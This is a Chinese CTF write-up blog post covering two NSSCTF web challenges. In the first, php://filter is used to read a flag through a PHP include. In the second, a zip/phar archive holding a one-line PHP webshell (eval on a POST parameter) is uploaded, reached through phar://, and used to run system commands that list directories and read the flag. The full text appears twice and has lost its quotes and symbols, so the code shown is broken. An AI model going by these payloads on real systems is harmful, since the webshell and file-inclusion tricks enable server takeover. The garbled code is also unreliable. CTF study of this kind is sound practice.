[SWPUCTF 2022 新生赛]ez_ez_php(revenge)?php error_reporting(0); if (isset($_GET[file])) { if ( substr($_GET[file], 0, 3) php ) { //要求GET请求中file的前三个字符必须强等于php echo Nice!!!; include($_GET[file]); } else { echo Hacker!!; } }else { highlight_file(__FILE__); } //flag.php?filephp://filter/readconvert.base-encode/resourceflag.php?filephp://filter/readconvert.base-encode/resource/flagNSSCTF{251afb06-b3b3-443b-8787-032ed91ccf71}本题考点php 伪协议、php 代码审计复盘思路1. 这是什么类型的题php 伪协议代码审计2. 我做出来了代码审计后直接使用 php 伪协议弄出 flag 了3. 正确思路是什么代码审计知道了代码的要求是什么需要前三个是 php-使用 php 伪协议获得 flag4. 下次遇到什么特征要想到它使用了 include()函数进行了文件包含[NISACTF 2022]bingdundun~改个后缀就能够上传了这里上传之后并没有什么用经过测试发现能够使用 bingdundun 这个参数进行上传/?bingdundunphp:filter/read/convert.base64-encode/resourceindex.php被拦截了经过测试发现是 fliter 被拦截了/?bingdundunindex这里传入 index,发现他能够自动补全这里写一个一句话木马然后把他压缩成 zip 格式上传上传成功返回路径/var/www/html\/39e84ccc85eb68b0528e5410e5372c31.zip把返回的路径和 url 拼接好使用 phar://伪协议进行读取phar://伪协议用法?filephar://压缩包/内部文件phar://qqq.zip/true.phphttp://node5.anna.nssctf.cn:26135/?bingdundunphar://39e84ccc85eb68b0528e5410e5372c31.zip/true在这个 phpinfod 的页面并没有找到 flag使用蚁剑连接看看在蚁剑里面找到 flagNSSCTF{7b9f50fd-2b1f-413f-946c-75650f77b957}还有一种方法构造一个 phar,然后运行这个代码他会在同一级目录下生成一个 phar.phar 的文件然后把 phar.phar 重命名为 phar.zip 进行上传?php $payload ?php eval($_POST[cmd]); ?; //一句话木马 $phar new Phar(phar.phar); //后缀名必须为phar $phar-startBuffering(); //暂停写入把代码全都放在内存中 $phar-setStub(?php __HALT_COMPILER(); ?); //设置stub $phar-addFromString(phar.php, $payload); //添加要压缩的文件 // $phar-setMetadata(...); //在metadata添加内容可参考 phar反序列化此处用不着故注释 $phar-stopBuffering(); //全部写入 ?/var/www/html\/b886b66477c770a34142ae604f807ed4.zip 成功上传了冰墩墩喜爱的文件然后呢命令执行cmdsystem(ls /);cmdsystem(cat /flag?);NSSCTF{5f183c9e-f90e-4a41-85b0-195f7e7ba46a}本题考点phar://伪协议复盘思路1. 这是什么类型的题phar://伪协议2. 我为什么没做出来没有理解题目上传的要求并没有和 phar 联想在一起还有不知道 phar 的用法对于 phar 这个知识点掌握的不牢固3. 正确思路是什么确定是文件上传题目要求只接受图片或者压缩包的文件类型 -构造 phar生成 phar.phar 文件重命名为 phar.zip-上传返回路径和 url 重新拼接路径-命令执行 得到 flag4. 下次遇到什么特征要想到它文件上传、压缩包、phar 伪协议知识点phar://phar://是 PHP 的一个流包装器用来把 PHAR 压缩包/归档文件当成“虚拟目录”来访问。可以理解成不用先解压就能像读普通文件一样读取归档里的文件。PHAR 本身就是 PHP Archive,常用来把整个 PHP 应用或库打包成一个文件发布作用访问 phar 包内部文件让 include、fopen()、file_get_contents()、opendir() 这类标准文件函数直接操作 phar 内部资源把归档当成一个“虚拟文件系统”来处理。(php.net, php.net)语法phar://归档路径/归档内部文件路径特点phar:// 不是远程协议不能访问远程 URL。(php.net)它不受 allow_url_fopen 和 allow_url_include 限制。(php.net)既可以通过完整路径访问也可以通过 alias 访问。(php.net)创建/修改 phar 时需要注意的通常要求时 phar.readonly0,否则会报错PHAR 支持保存 metadata(元数据)而 metadata 可以时任意可序列化的 PHP 变量(php.net)版本差异PHP 8.0 之前phar 在某些打开场景下会自动反序列化 metadata所以一些普通文件操作在旧版本里也可能间接触发反序列化。(php.net, php.net)PHP 8.0 及之后metadata 不再因为打开 phar 而自动反序列化。现在是显式调用Phar::getMetadata()或PharFileInfo::getMetadata()时才会触发反序列化。(php.net, php.net)phar:// 是 PHP 的流包装器用来直接访问 PHAR 归档内部文件。 语法phar://归档路径/内部路径 作用像普通文件一样读取 phar 内资源 CTF重点老版本里可能牵出 metadata 反序列化PHP 8 默认不再自动反序列化
NSSCTF做题记录八 | [SWPUCTF 2022 新生赛]ez_ez_php(revenge)、[NISACTF 2022]bingdundun~
发布时间:2026/6/1 16:13:00
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)?php error_reporting(0); if (isset($_GET[file])) { if ( substr($_GET[file], 0, 3) php ) { //要求GET请求中file的前三个字符必须强等于php echo Nice!!!; include($_GET[file]); } else { echo Hacker!!; } }else { highlight_file(__FILE__); } //flag.php?filephp://filter/readconvert.base-encode/resourceflag.php?filephp://filter/readconvert.base-encode/resource/flagNSSCTF{251afb06-b3b3-443b-8787-032ed91ccf71}本题考点php 伪协议、php 代码审计复盘思路1. 这是什么类型的题php 伪协议代码审计2. 我做出来了代码审计后直接使用 php 伪协议弄出 flag 了3. 正确思路是什么代码审计知道了代码的要求是什么需要前三个是 php-使用 php 伪协议获得 flag4. 下次遇到什么特征要想到它使用了 include()函数进行了文件包含[NISACTF 2022]bingdundun~改个后缀就能够上传了这里上传之后并没有什么用经过测试发现能够使用 bingdundun 这个参数进行上传/?bingdundunphp:filter/read/convert.base64-encode/resourceindex.php被拦截了经过测试发现是 fliter 被拦截了/?bingdundunindex这里传入 index,发现他能够自动补全这里写一个一句话木马然后把他压缩成 zip 格式上传上传成功返回路径/var/www/html\/39e84ccc85eb68b0528e5410e5372c31.zip把返回的路径和 url 拼接好使用 phar://伪协议进行读取phar://伪协议用法?filephar://压缩包/内部文件phar://qqq.zip/true.phphttp://node5.anna.nssctf.cn:26135/?bingdundunphar://39e84ccc85eb68b0528e5410e5372c31.zip/true在这个 phpinfod 的页面并没有找到 flag使用蚁剑连接看看在蚁剑里面找到 flagNSSCTF{7b9f50fd-2b1f-413f-946c-75650f77b957}还有一种方法构造一个 phar,然后运行这个代码他会在同一级目录下生成一个 phar.phar 的文件然后把 phar.phar 重命名为 phar.zip 进行上传?php $payload ?php eval($_POST[cmd]); ?; //一句话木马 $phar new Phar(phar.phar); //后缀名必须为phar $phar-startBuffering(); //暂停写入把代码全都放在内存中 $phar-setStub(?php __HALT_COMPILER(); ?); //设置stub $phar-addFromString(phar.php, $payload); //添加要压缩的文件 // $phar-setMetadata(...); //在metadata添加内容可参考 phar反序列化此处用不着故注释 $phar-stopBuffering(); //全部写入 ?/var/www/html\/b886b66477c770a34142ae604f807ed4.zip 成功上传了冰墩墩喜爱的文件然后呢命令执行cmdsystem(ls /);cmdsystem(cat /flag?);NSSCTF{5f183c9e-f90e-4a41-85b0-195f7e7ba46a}本题考点phar://伪协议复盘思路1. 这是什么类型的题phar://伪协议2. 我为什么没做出来没有理解题目上传的要求并没有和 phar 联想在一起还有不知道 phar 的用法对于 phar 这个知识点掌握的不牢固3. 正确思路是什么确定是文件上传题目要求只接受图片或者压缩包的文件类型 -构造 phar生成 phar.phar 文件重命名为 phar.zip-上传返回路径和 url 重新拼接路径-命令执行 得到 flag4. 下次遇到什么特征要想到它文件上传、压缩包、phar 伪协议知识点phar://phar://是 PHP 的一个流包装器用来把 PHAR 压缩包/归档文件当成“虚拟目录”来访问。可以理解成不用先解压就能像读普通文件一样读取归档里的文件。PHAR 本身就是 PHP Archive,常用来把整个 PHP 应用或库打包成一个文件发布作用访问 phar 包内部文件让 include、fopen()、file_get_contents()、opendir() 这类标准文件函数直接操作 phar 内部资源把归档当成一个“虚拟文件系统”来处理。(php.net, php.net)语法phar://归档路径/归档内部文件路径特点phar:// 不是远程协议不能访问远程 URL。(php.net)它不受 allow_url_fopen 和 allow_url_include 限制。(php.net)既可以通过完整路径访问也可以通过 alias 访问。(php.net)创建/修改 phar 时需要注意的通常要求时 phar.readonly0,否则会报错PHAR 支持保存 metadata(元数据)而 metadata 可以时任意可序列化的 PHP 变量(php.net)版本差异PHP 8.0 之前phar 在某些打开场景下会自动反序列化 metadata所以一些普通文件操作在旧版本里也可能间接触发反序列化。(php.net, php.net)PHP 8.0 及之后metadata 不再因为打开 phar 而自动反序列化。现在是显式调用Phar::getMetadata()或PharFileInfo::getMetadata()时才会触发反序列化。(php.net, php.net)phar:// 是 PHP 的流包装器用来直接访问 PHAR 归档内部文件。 语法phar://归档路径/内部路径 作用像普通文件一样读取 phar 内资源 CTF重点老版本里可能牵出 metadata 反序列化PHP 8 默认不再自动反序列化